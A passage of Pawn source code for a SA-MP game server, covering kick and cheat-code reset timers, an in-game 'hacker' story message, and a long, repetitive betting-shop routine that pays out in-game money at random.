//	for(new i = 0; i < sizeof(ForbiddenNames); i++)
//	{
//		if(!strcmp(ForbiddenNames[i], name, true))
//		{
//			SetPlayerName(playerid, "InvalidNick");
//			SendClientMessage(playerid, COLOR_RED, "You have been kicked & logged for using a forbidden username.");
//			Kick(playerid);
//		}
//	}
//}
/*-------------------------------**FORWARDS**---------------------------------*/
/*
function StatsOBegoo(playerid)
{
new molana[50];
new molana2[144];
new molana3[144];
new molana4[144];
new molana5[144];
new molana6[144];
new molana7[144];
format(molana, sizeof(molana), "Connected Name: %s",PlayerNamee[playerid]);
format(molana2, sizeof(molana2), "Connected IP: %s",PlayerIP[playerid]);
format(molana3, sizeof(molana3), "Country you connected: %s",PlayerCountry[playerid]);
format(molana4, sizeof(molana4), "ISP you connected: %s",PlayerISP[playerid]);
format(molana5, sizeof(molana5), "Current FPS: %d",PlayerFPSS[playerid]);
format(molana6, sizeof(molana6), "Current Ping: %d",PlayerPing[playerid]);
format(molana7, sizeof(molana7), "Current Packet Loss: %0.2f",PlayerPacket[playerid]);
SendMessage(playerid,COLOR_WHITE,molana);
SendMessage(playerid,COLOR_WHITE,molana2);
SendMessage(playerid,COLOR_WHITE,molana3);
SendMessage(playerid,COLOR_WHITE,molana4);
SendMessage(playerid,COLOR_WHITE,molana5);
SendMessage(playerid,COLOR_WHITE,molana6);
SendMessage(playerid,COLOR_WHITE,molana7);
SetTimerEx("StatsOBegoo2", 120000, 0, "i", playerid);
}
*/
//function StatsOBegoo2(playerid)
//{
//HoolooBepparTooGaloo[playerid] = 0;
//}
function KickPlayerMessage(playerid)
{
SetTimerEx("KPWM", 500, false, "d", playerid);
return 1;
}
function KPWM(playerid)
{
Kick(playerid);
return 1;
}
function ClearWantedPlayer(playerid)
{
SetPlayerWantedLevel(playerid, 0);
SCM(playerid,COLOR_SINA2,"PrisonBreak Hacker:{FF0000} Well, I hacked the police station. They lost you.");
SetTimerEx("DialogCarFarar", 10000, 0, "i", playerid);
}
function DialogCarFarar(playerid)
{
ShowPlayerDialog(playerid, 1141, DIALOG_STYLE_MSGBOX, "PrisonBreak Hacker", "Do you want a car?", "Yes", "No");
}
function cheatcode1timer(playerid)
{
cheatcode1[playerid] = 0;
}
function cheatcode2timer(playerid)
{
cheatcode2[playerid] = 0;
}
function cheatcode3timer(playerid)
{
cheatcode3[playerid] = 0;
}
function cheatcode4timer(playerid)
{
cheatcode4[playerid] = 0;
}
function cheatcode5timer(playerid)
{
cheatcode5[playerid] = 0;
}
function cheatcode6timer(playerid)
{
cheatcode6[playerid] = 0;
}
function cheatcode7timer(playerid)
{
cheatcode7[playerid] = 0;
}
function cheatcode8timer(playerid)
{
cheatcode8[playerid] = 0;
}
function cheatcode9timer(playerid)
{
cheatcode9[playerid] = 0;
}
function cheatcode10timer(playerid)
{
cheatcode10[playerid] = 0;
}
function cheatcode11timer(playerid)
{
cheatcode11[playerid] = 0;
}
function cheatcode12timer(playerid)
{
cheatcode12[playerid] = 0;
}
function cheatcode13timer(playerid)
{
cheatcode13[playerid] = 0;
}
function cheatcode14timer(playerid)
{
cheatcode14[playerid] = 0;
}
function cheatcode15timer(playerid)
{
cheatcode15[playerid] = 0;
}
function cheatcode16timer(playerid)
{
cheatcode16[playerid] = 0;
}
function cheatcode17timer(playerid)
{
cheatcode17[playerid] = 0;
}
function cheatcode18timer(playerid)
{
cheatcode18[playerid] = 0;
}
function cheatcode19timer(playerid)
{
cheatcode19[playerid] = 0;
}
function cheatcode20timer(playerid)
{
cheatcode20[playerid] = 0;
}
function cheatcode21timer(playerid)
{
cheatcode21[playerid] = 0;
}
function cheatcode22timer(playerid)
{
cheatcode22[playerid] = 0;
}
function cheatcode23timer(playerid)
{
cheatcode23[playerid] = 0;
}
function cheatcode24timer(playerid)
{
cheatcode24[playerid] = 0;
}
function cheatcode25timer(playerid)
{
cheatcode25[playerid] = 0;
}
function cheatcode26timer(playerid)
{
cheatcode26[playerid] = 0;
}
function cheatcode27timer(playerid)
{
cheatcode27[playerid] = 0;
}
function cheatcode28timer(playerid)
{
cheatcode28[playerid] = 0;
}
function cheatcodeflytimer(playerid)
{
cheatcodefly[playerid] = 0;
}
function cheatcodeflytimer2(playerid)
{
cheatcodefly2[playerid] = 0;
}
/*
function JanJanJanz(playerid)
{
new straa[25];
new straav[25];
format(straa , sizeof(straa) , ". . . . . . . . . .");
PlayerTextDrawSetString(playerid, GoshnegiDarsad, straa);
format(straav , sizeof(straav) , ". . . . . . . . . .");
PlayerTextDrawSetString(playerid, TeshnegiDarsad, straav);
MizaneGoshnegi[playerid] = 10;
MizaneTeshnegi[playerid] = 10;
TooMargGoshne[playerid] = 0;
TooMargTeshne[playerid] = 0;
}
*/
/*
function freezebetweap(playerid)
{
	if(freezeonbet[playerid] == 1 && BetShopLock == 0)
	{
	SCM(playerid,COLOR_YELLOW2,"Error: Drop your weapons first to enter to betshop. (/Throwguns)");
	}
	if(okshodeweapz[playerid] == 0 && BetShopLock == 0)
	{
	//SetTimerEx("freezebetweapz", 5000, 0, "i", playerid);
	okshodeweapz[playerid] = 1;
	}
}
*/
/*
function freezebetveh(playerid)
{
	if(freezeonbetv[playerid] == 1 && BetShopLock == 0)
	{
	SCM(playerid,COLOR_YELLOW2,"Error: Get out from your vehicle to enter to the betshop. (/EjectMe)");
	}
	if(okshodevehz[playerid] == 0 && BetShopLock == 0)
	{
	//SetTimerEx("freezebetvehz", 5000, 0, "i", playerid);
	okshodevehz[playerid] = 1;
	}
}
*/
/*
function freezebetweapz(playerid)
{
	if(freezeonbet[playerid] == 1 && BetShopLock == 0)
	{
	SCM(playerid,COLOR_YELLOW2,"Error: Drop your weapons first to enter to betshop. (/Throwguns)");
	}
	if(okshodeweap[playerid] == 0 && BetShopLock == 0)
	{
	//SetTimerEx("freezebetweap", 5000, 0, "i", playerid);
	okshodeweap[playerid] = 1;
	}
}
*/
/*
function freezebetvehz(playerid)
{
	if(freezeonbetv[playerid] == 1 && BetShopLock == 0)
	{
	SCM(playerid,COLOR_YELLOW2,"Error: Get out from your vehicle to enter to the betshop. (/EjectMe)");
	}
	if(okshodeveh[playerid] == 0 && BetShopLock == 0)
	{
	//SetTimerEx("freezebetveh", 5000, 0, "i", playerid);
	okshodeveh[playerid] = 1;
	}
}
*/
function themmz(playerid)
{
		if(freezeonbetv[playerid] == 1)
		{
		TogglePlayerControllable(playerid, 1);
		freezeonbetv[playerid] = 0;
		}
}
new stringx[144];
function moneybet(playerid)
{
format(stringx, sizeof(stringx), "Betting on your money.\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet2", 500, 0, "i", playerid);
}
function moneybet2(playerid)
{
format(stringx, sizeof(stringx), "Betting on your money..\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet3", 500, 0, "i", playerid);
}
function moneybet3(playerid)
{
format(stringx, sizeof(stringx), "Betting on your money...\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet4", 500, 0, "i", playerid);
}
function moneybet4(playerid)
{
format(stringx, sizeof(stringx), "Betting on your money.\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet5", 500, 0, "i", playerid);
}
function moneybet5(playerid)
{
format(stringx, sizeof(stringx), "Betting on your money..\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet6", 500, 0, "i", playerid);
}
function moneybet6(playerid)
{
format(stringx, sizeof(stringx), "Betting on your money...\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet7", 500, 0, "i", playerid);
}
function moneybet7(playerid)
{
format(stringx, sizeof(stringx), "Processing...\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet8", 500, 0, "i", playerid);
}
function moneybet8(playerid)
{
format(stringx, sizeof(stringx), "Connecting to %s %s betting systems.\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",SERVER_NAME1,SERVER_NAME2,FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet9", 500, 0, "i", playerid);
}
function moneybet9(playerid)
{
format(stringx, sizeof(stringx), "Connecting to %s %s betting systems..\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",SERVER_NAME1,SERVER_NAME2,FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet10", 500, 0, "i", playerid);
}
function moneybet10(playerid)
{
format(stringx, sizeof(stringx), "Connecting to %s %s betting systems...\n{ff0000}Don't do anything, just wait.\n\n{00ff00}* Entered price to bet: $%s",SERVER_NAME1,SERVER_NAME2,FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringx, "Done", "");
SetTimerEx("moneybet11", 500, 0, "i", playerid);
}
function moneybet11(playerid)
{
new price = poolebetshode[playerid];
new randomh = RandomShomare(1,9);
new stringz[144];
if(randomh == 1)
{
format(stringz, sizeof(stringz), "{ff0000}YOU LOSE ALL OF YOUR MONEY!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, -price);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {ff0000}LOSE!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Loss Money: {ff0000}-$%s",FormatNumber(price));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(randomh == 2)
{
new secondrand = RandomShomare(1,10);
if(secondrand == 1)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 2)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 3)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 4)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 5)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 6)// x3
{
new winprice = price*3;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x3)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 7)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 8)// x4
{
new winprice = price*4;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x4)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 9)// x5
{
new winprice = price*5;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x5)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 10)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
}
if(randomh == 3)
{
format(stringz, sizeof(stringz), "{ff0000}YOU LOSE ALL OF YOUR MONEY!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, -price);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {ff0000}LOSE!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Loss Money: {ff0000}-$%s",FormatNumber(price));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(randomh == 4)
{
new secondrand = RandomShomare(1,10);
if(secondrand == 1)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 2)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 3)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 4)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 5)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 6)// x3
{
new winprice = price*3;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x3)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 7)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 8)// x4
{
new winprice = price*4;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
